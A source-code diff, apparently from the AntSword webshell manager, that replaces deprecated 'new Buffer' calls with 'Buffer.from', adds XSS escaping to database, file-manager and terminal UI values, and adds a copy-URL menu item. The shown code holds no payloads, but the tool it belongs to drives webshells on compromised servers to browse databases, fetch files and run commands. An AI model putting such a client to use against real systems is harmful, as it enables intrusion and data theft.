new Buffer(_db[1], 'base64').toString()
Buffer.from(_db[1], 'base64').toString()
);
break;
// 获取表名字段
case 'table':
let _tb = arr[1].split(':');
this.getColumns(
_tb[0],
new Buffer(_tb[1], 'base64').toString(),
new Buffer(_tb[2], 'base64').toString()
Buffer.from(_tb[1], 'base64').toString(),
Buffer.from(_tb[2], 'base64').toString()
);
break;
// 生成查询SQL语句
case 'column':
let _co = arr[1].split(':');
const db = new Buffer(_co[1], 'base64').toString();
const table = new Buffer(_co[2], 'base64').toString();
const column = new Buffer(_co[3], 'base64').toString();
const db = Buffer.from(_co[1], 'base64').toString();
const table = Buffer.from(_co[2], 'base64').toString();
const column = Buffer.from(_co[3], 'base64').toString();
let sql = "";
switch(this.dbconf['type']){
case 'mysql':
@@ -139,7 +139,7 @@ class ASP {
items.push({
id: `conn::${_}`,
// text: `${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`,
text: conf[_]['type'].toUpperCase(),
text: antSword.noxss(conf[_]['type'].toUpperCase()),
im0: this.manager.list.imgs[0],
im1: this.manager.list.imgs[0],
im2: this.manager.list.imgs[0]
@@ -447,7 +447,7 @@ class ASP {
// 添加子节点
arr.map((_) => {
if (!_) { return };
const _db = new Buffer(_).toString('base64');
const _db = Buffer.from(_).toString('base64');
this.tree.insertNewItem(
`conn::${id}`,
`database::${id}:${_db}`,
@@ -484,13 +484,13 @@ class ASP {
throw ret;
}
const arr = ret.split('\t');
const _db = new Buffer(db).toString('base64');
const _db = Buffer.from(db).toString('base64');
// 删除子节点
this.tree.deleteChildItems(`database::${id}:${_db}`);
// 添加子节点
arr.map((_) => {
if (!_) { return };
const _table = new Buffer(_).toString('base64');
const _table = Buffer.from(_).toString('base64');
this.tree.insertNewItem(
`database::${id}:${_db}`,
`table::${id}:${_db}:${_table}`,
@@ -546,14 +546,14 @@ class ASP {
throw ret;
}
const arr = ret.split('\t');
const _db = new Buffer(db).toString('base64');
const _table = new Buffer(table).toString('base64');
const _db = Buffer.from(db).toString('base64');
const _table = Buffer.from(table).toString('base64');
// 删除子节点
this.tree.deleteChildItems(`table::${id}:${_db}:${_table}`);
// 添加子节点
arr.map((_) => {
if (!_) { return };
const _column = new Buffer(_.substr(_, _.lastIndexOf(' '))).toString('base64');
const _column = Buffer.from(_.substr(_, _.lastIndexOf(' '))).toString('base64');
this.tree.insertNewItem(
`table::${id}:${_db}:${_table}`,
`column::${id}:${_db}:${_table}:${_column}`,
@@ -674,7 +674,7 @@ class ASP {
if (!filePath) { return; };
let headerStr = grid.hdrLabels.join(',');
let dataStr = grid.serializeToCSV();
let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr);
let tempDataBuffer = Buffer.from(headerStr+'\n'+dataStr);
fs.writeFileSync(filePath, tempDataBuffer);
toastr.success(LANG['result']['dump']['success'], LANG_T['success']);
});
@@ -37,7 +37,7 @@ class CUSTOM {
id: arr[0]
});
if (arr.length > 1) {
this.dbconf['database'] = new Buffer(arr[1], 'base64').toString();
this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString();
// 更新SQL编辑器
this.enableEditor();
// manager.query.update(this.currentConf);
@@ -59,24 +59,24 @@ class CUSTOM {
let _db = arr[1].split(':');
this.getTables(
_db[0],
new Buffer(_db[1], 'base64').toString()
Buffer.from(_db[1], 'base64').toString()
);
break;
// 获取表名字段
case 'table':
let _tb = arr[1].split(':');
this.getColumns(
_tb[0],
new Buffer(_tb[1], 'base64').toString(),
new Buffer(_tb[2], 'base64').toString()
Buffer.from(_tb[1], 'base64').toString(),
Buffer.from(_tb[2], 'base64').toString()
);
break;
// 生成查询SQL语句
case 'column':
let _co = arr[1].split(':');
const db = new Buffer(_co[1], 'base64').toString();
const table = new Buffer(_co[2], 'base64').toString();
const column = new Buffer(_co[3], 'base64').toString();
const db = Buffer.from(_co[1], 'base64').toString();
const table = Buffer.from(_co[2], 'base64').toString();
const column = Buffer.from(_co[3], 'base64').toString();

const sql = `SELECT ${column} FROM ${db}.${table} ORDER BY 1 DESC;`;
this.manager.query.editor.session.setValue(sql);
@@ -124,7 +124,7 @@ class CUSTOM {
items.push({
id: `conn::${_}`,
// text: `${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`,
text: conf[_]['type'].toUpperCase(),
text: antSword.noxss(conf[_]['type'].toUpperCase()),
im0: this.manager.list.imgs[0],
im1: this.manager.list.imgs[0],
im2: this.manager.list.imgs[0]
@@ -429,7 +429,7 @@ class CUSTOM {
// 添加子节点
arr.map((_) => {
if (!_) { return };
const _db = new Buffer(_).toString('base64');
const _db = Buffer.from(_).toString('base64');
this.tree.insertNewItem(
`conn::${id}`,
`database::${id}:${_db}`,
@@ -464,13 +464,13 @@ class CUSTOM {
).then((res) => {
let ret = res['text'];
const arr = ret.split('\t');
const _db = new Buffer(db).toString('base64');
const _db = Buffer.from(db).toString('base64');
// 删除子节点
this.tree.deleteChildItems(`database::${id}:${_db}`);
// 添加子节点
arr.map((_) => {
if (!_) { return };
const _table = new Buffer(_).toString('base64');
const _table = Buffer.from(_).toString('base64');
this.tree.insertNewItem(
`database::${id}:${_db}`,
`table::${id}:${_db}:${_table}`,
@@ -508,14 +508,14 @@ class CUSTOM {
).then((res) => {
let ret = res['text'];
const arr = ret.split('\t');
const _db = new Buffer(db).toString('base64');
const _table = new Buffer(table).toString('base64');
const _db = Buffer.from(db).toString('base64');
const _table = Buffer.from(table).toString('base64');
// 删除子节点
this.tree.deleteChildItems(`table::${id}:${_db}:${_table}`);
// 添加子节点
arr.map((_) => {
if (!_) { return };
const _column = new Buffer(_.substr(_, _.lastIndexOf(' '))).toString('base64');
const _column = Buffer.from(_.substr(_, _.lastIndexOf(' '))).toString('base64');
this.tree.insertNewItem(
`table::${id}:${_db}:${_table}`,
`column::${id}:${_db}:${_table}:${_column}`,
@@ -624,7 +624,7 @@ class CUSTOM {
if (!filePath) { return; };
let headerStr = grid.hdrLabels.join(',');
let dataStr = grid.serializeToCSV();
let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr);
let tempDataBuffer = Buffer.from(headerStr+'\n'+dataStr);
fs.writeFileSync(filePath, tempDataBuffer);
toastr.success(LANG['result']['dump']['success'], LANG_T['success']);
});
@@ -251,7 +251,7 @@ class Database {
data_arr.push({
id: i+1,
data: [
func_mapping.hasOwnProperty(item[0]) ? func_mapping[item[0]] : item[0],
func_mapping.hasOwnProperty(item[0]) ? func_mapping[item[0]] : antSword.noxss(item[0]),
parseInt(item[1]) === 1 ? "√" : "×",
],
style: parseInt(item[1]) === 1 ? "background-color:#ADF1B9": "",
@@ -32,7 +32,7 @@ class PHP {
id: arr[0]
});
if (arr.length > 1) {
this.dbconf['database'] = new Buffer(arr[1], 'base64').toString();
this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString();
// 更新SQL编辑器
this.enableEditor();
// manager.query.update(this.currentConf);
@@ -55,25 +55,24 @@ class PHP {
let _db = arr[1].split(':');
this.getTables(
_db[0],
new Buffer(_db[1], 'base64').toString()
Buffer.from(_db[1], 'base64').toString()
);
break;
// 获取表名字段
case 'table':
let _tb = arr[1].split(':');
this.getColumns(
_tb[0],
new Buffer(_tb[1], 'base64').toString(),
new Buffer(_tb[2], 'base64').toString()
Buffer.from(_tb[1], 'base64').toString(),
Buffer.from(_tb[2], 'base64').toString()
);
break;
// 生成查询SQL语句
case 'column':
let _co = arr[1].split(':');
const db = new Buffer(_co[1], 'base64').toString();
const table = new Buffer(_co[2], 'base64').toString();
const column = new Buffer(_co[3], 'base64').toString();

const db = new Buffer.from(_co[1], 'base64').toString();
const table = new Buffer.from(_co[2], 'base64').toString();
const column = new Buffer.from(_co[3], 'base64').toString();
let sql = "";
switch(this.dbconf['type']){
case 'mssql':
@@ -288,7 +287,7 @@ class PHP {
for (let _ in conf) {
items.push({
id: `conn::${_}`,
text: `${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`,
text: antSword.noxss(`${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`),
im0: this.manager.list.imgs[0],
im1: this.manager.list.imgs[0],
im2: this.manager.list.imgs[0]
@@ -796,7 +795,7 @@ class PHP {
editDatabase() {
// 获取配置
const id = this.tree.getSelected().split('::')[1].split(":")[0];
let dbname = new Buffer(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString();
let dbname = Buffer.from(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString();
const hash = (+new Date * Math.random()).toString(16).substr(2, 8);
switch(this.dbconf['type']){
case "mysqli":
@@ -920,7 +919,7 @@ class PHP {
delDatabase() {
// 获取配置
const id = this.tree.getSelected().split('::')[1].split(":")[0];
let dbname = new Buffer(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString();
let dbname = Buffer.from(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString();
layer.confirm(LANG['form']['deldb']['confirm'](dbname), {
icon: 2, shift: 6,
title: LANG['form']['deldb']['title']
@@ -955,7 +954,7 @@ class PHP {
addTable() {
// 获取配置
const id = this.tree.getSelected().split('::')[1].split(":")[0];
let dbname = new Buffer(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString();
let dbname = Buffer.from(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString();
const hash = (+new Date * Math.random()).toString(16).substr(2, 8);
switch(this.dbconf['type']){
case "mysqli":
@@ -1142,11 +1141,11 @@ class PHP {
// 获取配置
const treeselect = this.tree.getSelected();
const id = treeselect.split('::')[1].split(":")[0];
let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString();
let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString();
// const hash = (+new Date * Math.random()).toString(16).substr(2, 8);
layer.prompt({
value: tablename,
value: antSword.noxss(tablename),
title: `<i class="fa fa-file-code-o"></i> ${LANG['form']['edittable']['title']}`
},(value, i, e) => {
if(!value.match(/^[a-zA-Z0-9_]+$/)){
@@ -1184,8 +1183,9 @@ class PHP {
// 获取配置
const treeselect = this.tree.getSelected();
const id = treeselect.split('::')[1].split(":")[0];
let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString();
let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString();
// 已在 lang 中过滤
layer.confirm(LANG['form']['deltable']['confirm'](tablename), {
icon: 2, shift: 6,
title: LANG['form']['deltable']['title']
@@ -1219,8 +1219,8 @@ class PHP {
descTable() {
const treeselect = this.tree.getSelected();
const id = treeselect.split('::')[1].split(":")[0];
let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString();
let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString();
switch(this.dbconf['type']){
case "mysqli":
case "mysql":
@@ -1237,8 +1237,8 @@ class PHP {
showcreateTable() {
const treeselect = this.tree.getSelected();
const id = treeselect.split('::')[1].split(":")[0];
let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString();
let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString();
switch(this.dbconf['type']){
case "mysqli":
case "mysql":
@@ -1257,9 +1257,9 @@ class PHP {
// 获取配置
const treeselect = this.tree.getSelected();
const id = treeselect.split('::')[1].split(":")[0];
let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString();
let columnname = new Buffer(treeselect.split('::')[1].split(":")[3],"base64").toString();
let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString();
let columnname = Buffer.from(treeselect.split('::')[1].split(":")[3],"base64").toString();

}

@@ -1268,9 +1268,9 @@ class PHP {
// 获取配置
const treeselect = this.tree.getSelected();
const id = treeselect.split('::')[1].split(":")[0];
let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString();
let columnname = new Buffer(treeselect.split('::')[1].split(":")[3],"base64").toString();
let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString();
let columnname = Buffer.from(treeselect.split('::')[1].split(":")[3],"base64").toString();
let columntyperaw = this.tree.getSelectedItemText();
let columntype = null;
var ctypereg = new RegExp(columnname+'\\s\\((.+?\\))\\)');
@@ -1283,7 +1283,7 @@ class PHP {
return
}
layer.prompt({
value: columnname,
value: antSword.noxss(columnname),
title: `<i class="fa fa-file-code-o"></i> ${LANG['form']['editcolumn']['title']}`
},(value, i, e) => {
if(!value.match(/^[a-zA-Z0-9_]+$/)){
@@ -1321,9 +1321,10 @@ class PHP {
// 获取配置
const treeselect = this.tree.getSelected();
const id = treeselect.split('::')[1].split(":")[0];
let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString();
let columnname = new Buffer(treeselect.split('::')[1].split(":")[3],"base64").toString();
let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString();
let columnname = Buffer.from(treeselect.split('::')[1].split(":")[3],"base64").toString();
// 已在 lang 中过滤
layer.confirm(LANG['form']['delcolumn']['confirm'](columnname), {
icon: 2, shift: 6,
title: LANG['form']['delcolumn']['title']
@@ -1382,7 +1383,7 @@ class PHP {
// 添加子节点
arr.map((_) => {
if (!_) { return };
const _db = new Buffer(_).toString('base64');
const _db = Buffer.from(_).toString('base64');
this.tree.insertNewItem(
`conn::${id}`,
`database::${id}:${_db}`,
@@ -1420,13 +1421,13 @@ class PHP {
throw ret;
}
const arr = ret.split('\t');
const _db = new Buffer(db).toString('base64');
const _db = Buffer.from(db).toString('base64');
// 删除子节点
this.tree.deleteChildItems(`database::${id}:${_db}`);
// 添加子节点
arr.map((_) => {
if (!_) { return };
const _table = new Buffer(_).toString('base64');
const _table = Buffer.from(_).toString('base64');
this.tree.insertNewItem(
`database::${id}:${_db}`,
`table::${id}:${_db}:${_table}`,
@@ -1467,14 +1468,14 @@ class PHP {
throw ret;
}
const arr = ret.split('\t');
const _db = new Buffer(db).toString('base64');
const _table = new Buffer(table).toString('base64');
const _db = Buffer.from(db).toString('base64');
const _table = Buffer.from(table).toString('base64');
// 删除子节点
this.tree.deleteChildItems(`table::${id}:${_db}:${_table}`);
// 添加子节点
arr.map((_) => {
if (!_) { return };
const _column = new Buffer(_.substr(_, _.lastIndexOf(' '))).toString('base64');
const _column = Buffer.from(_.substr(_, _.lastIndexOf(' '))).toString('base64');
this.tree.insertNewItem(
`table::${id}:${_db}:${_table}`,
`column::${id}:${_db}:${_table}:${_column}`,
@@ -1574,7 +1575,7 @@ class PHP {
arr.map((_) => {
let _data = _.split('\t|\t');
for (let i = 0; i < _data.length; i ++) {
let buff = new Buffer(_data[i], "base64");
let buff = Buffer.from(_data[i], "base64");
let encoding = Decodes.detectEncoding(buff, {defaultEncoding: "unknown"});
if(encoding == "unknown") {
switch(this.dbconf['type']){
@@ -1636,7 +1637,7 @@ class PHP {
let _data = _.split('\t|\t');
for (let i = 0; i < _data.length; i ++) {
// _data[i] = antSword.noxss(new Buffer(_data[i], "base64").toString(), false);
let buff = new Buffer(_data[i], "base64");
let buff = new Buffer.from(_data[i], "base64");
let encoding = Decodes.detectEncoding(buff, {defaultEncoding: "unknown"});
if(encoding == "unknown") {
switch(this.dbconf['type']){
@@ -1705,7 +1706,7 @@ class PHP {
if (!filePath) { return; };
let headerStr = grid.hdrLabels.join(',');
let dataStr = grid.serializeToCSV();
let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr);
let tempDataBuffer = Buffer.from(headerStr+'\n'+dataStr);
fs.writeFileSync(filePath, tempDataBuffer);
toastr.success(LANG['result']['dump']['success'], LANG_T['success']);
});
@@ -137,7 +137,7 @@ class Files {
case 'bookmark_add':
// 添加书签
layer.prompt({
value: self.manager.path,
value: antSword.noxss(self.manager.path),
title: LANG['prompt']['add']['title']
}, (value, i, e) => {
bookmark[self.manager.path] = value;
@@ -491,7 +491,7 @@ class Files {
refreshPath(p) {
let path = p || this.manager.path;
// delete this.manager.cache[path];
this.manager.cache.del('filemanager-files-' + new Buffer(path).toString('base64'));
this.manager.cache.del('filemanager-files-' + Buffer.from(path).toString('base64'));
// 删除文件夹缓存
for (let _ in this.manager.folder.cache) {
if (_.indexOf(path) === 0 && _ != path) {
@@ -153,7 +153,7 @@ class FileManager {

if (!path.endsWith('/')) { path += '/' };
this.path = path;
let cache_tag = 'filemanager-files-' + new Buffer(this.path).toString('base64');
let cache_tag = 'filemanager-files-' + Buffer.from(this.path).toString('base64');

// 判断是否有缓存
// if (cache = this.cache[path]) {
@@ -286,7 +286,7 @@ class FileManager {
let self = this;

layer.confirm(
LANG['delete']['confirm'](files.length > 1 ? files.length : files[0]),
LANG['delete']['confirm'](files.length > 1 ? files.length : files[0]), // 已在 lang 中过滤
{
icon: 2,
shift: 6,
@@ -492,7 +492,7 @@ class FileManager {
// 设置文件和目录权限
chmodFile(name, oldmod) {
layer.prompt({
value: oldmod,
value: antSword.noxss(oldmod),
title: `<i class="fa fa-users"></i> ${LANG['chmod']['title']} (${antSword.noxss(name)})`,
}, (value, i, e) => {
if(!value.match(/^[0-7]{4}$/)){
@@ -536,7 +536,7 @@ class FileManager {
height: 600,
});
var filemime = mime.lookup(name);
let savepath = PATH.join(process.env.AS_WORKDIR,`antData/.temp/`,new Buffer(name).toString("hex"));
let savepath = PATH.join(process.env.AS_WORKDIR,`antData/.temp/`,Buffer.from(name).toString("hex"));
win.cell.lastChild['style']['overflow'] = 'scroll';
win.cell.lastChild['style']['textAlign'] = 'center';

@@ -557,7 +557,7 @@ class FileManager {
let buff = fs.readFileSync(savepath);
switch (filemime){
default:
let data = new Buffer(buff).toString('base64');
let data = Buffer.from(buff).toString('base64');
win.attachHTMLString(`<img style="width:100%" src="data:/${filemime};base64,${data}"/>`);
break;
}
@@ -625,7 +625,7 @@ class FileManager {
// 获取URL
let _index = layer.prompt({
title: `<i class="fa fa-cloud-download"></i> ${LANG['wget']['title']}`,
content: '<input type="text" style="width:300px;" class="layui-layer-input" id="url_' + hash + '" value="http://" placeholder="target url"><p/><input style="width:300px;" type="text" id="path_' + hash + '" class="layui-layer-input" value="' + self.path + '" placeholder="file name">',
content: '<input type="text" style="width:300px;" class="layui-layer-input" id="url_' + hash + '" value="http://" placeholder="target url"><p/><input style="width:300px;" type="text" id="path_' + hash + '" class="layui-layer-input" value="' + antSword.noxss(self.path) + '" placeholder="file name">',
btn: ['wget'],
yes: (i) => {

@@ -912,7 +912,7 @@ class FileManager {
editor.session.setMode(`ace/mode/${mode}`);
}else if (id.startsWith('encode_')) {
let encode = id.split('_')[1];
editor.session.setValue(iconv.decode(new Buffer(codes), encode).toString());
editor.session.setValue(iconv.decode(Buffer.from(codes), encode).toString());
}else{
console.info('toolbar.onClick', id);
}
@@ -14,7 +14,7 @@ class Plugin {
// 注册菜单事件
antSword['menubar'].reg(
'plugin-store',
this.initWin.bind(this, 'ant-views://plugin.html')
this.initWin.bind(this, 'ant-views://front/plugin.html')
);
this.win = null;
}

Large diffs are not rendered by default.

@@ -8,6 +8,7 @@ const ViewSite = require('../../viewsite/');
const Terminal = require('../../terminal/');
const Database = require('../../database/');
const FileManager = require('../../filemanager/');
const clipboard = require('electron').clipboard;
const LANG = antSword['language']['shellmanager'];
const LANG_T = antSword['language']['toastr'];

@@ -38,6 +39,7 @@ class ContextMenu {
['viewsite', 'chrome', selectedData, () => {
new ViewSite(data[0]);
}],
['copyurl', 'copy', selectedData, this.copyUrl.bind(this, data[0])],
false,
['plugin', 'folder-o', selectedMultiData, null, this.parsePlugContextMenu(data)],
[
@@ -351,6 +353,20 @@ class ContextMenu {
}
});
}
/**
* 复制URL
* @param {opt} info
*/
copyUrl(info) {
let url = info['url'];
clipboard.writeText(url);
let txt = clipboard.readText();
if(txt == url) {
toastr.success('Copy Success', LANG_T['success']);
}else{
toastr.error('Copy Failed', LANG_T['error']);
}
}
}

module.exports = ContextMenu;
@@ -3,7 +3,6 @@
* 更新:2016/04/13
* 作者:蚁逅 <https://github.com/antoor>
*/

const LANG = antSword['language']['terminal'];
const LANG_T = antSword['language']['toastr'];

@@ -223,7 +222,7 @@ class Terminal {
}
term.pause();
// 是否有缓存
let cacheTag = 'command-' + new Buffer(this.path + cmd).toString('base64');
let cacheTag = 'command-' + Buffer.from(this.path + cmd).toString('base64');
let cacheCmd = this.cache.get(cacheTag);
if (
(this.opts.otherConf || {})['terminal-cache'] === 1 && cacheCmd
@@ -58,7 +58,7 @@ class Tabbar {
* @return {Object} this
*/
safeHTML(html = "", sandbox = "") {
let _html = new Buffer(html).toString('base64');
let _html = Buffer.from(html).toString('base64');
// https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox
let _iframe = `
<iframe

Large diffs are not rendered by default.

This file was deleted.